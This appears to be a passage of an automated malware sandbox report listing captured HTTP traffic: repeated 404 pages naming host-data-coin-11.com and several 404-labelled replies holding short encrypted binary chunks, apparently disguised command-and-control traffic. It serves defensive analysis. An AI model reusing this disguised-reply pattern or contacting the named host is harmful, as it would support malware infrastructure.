199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 28 Dec 2021 04:18:01 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c8 89 40 0e 65 1b e4 bf c1 b1 a2 14 a5 08 cd 2c b4 59 52 db 17 f8 ee 39 ec 3f 52 17 b2 ea 93 42 fe 02 86 1c 80 a7 70 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a Data Ascii: 3eI:82O@e,YR9?RBpw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b5 50 db 41 d4 fd 25 8d 2a ed aa 96 56 2b e3 b1 48 22 e3 b3 b7 6c f6 9e b8 5e a9 77 96 c4 30 41 56 39 0f 4c da bb 4d b3 f2 40 84 a0 c3 00 c6 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA%*V+H"l^w0AV9LM@`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0
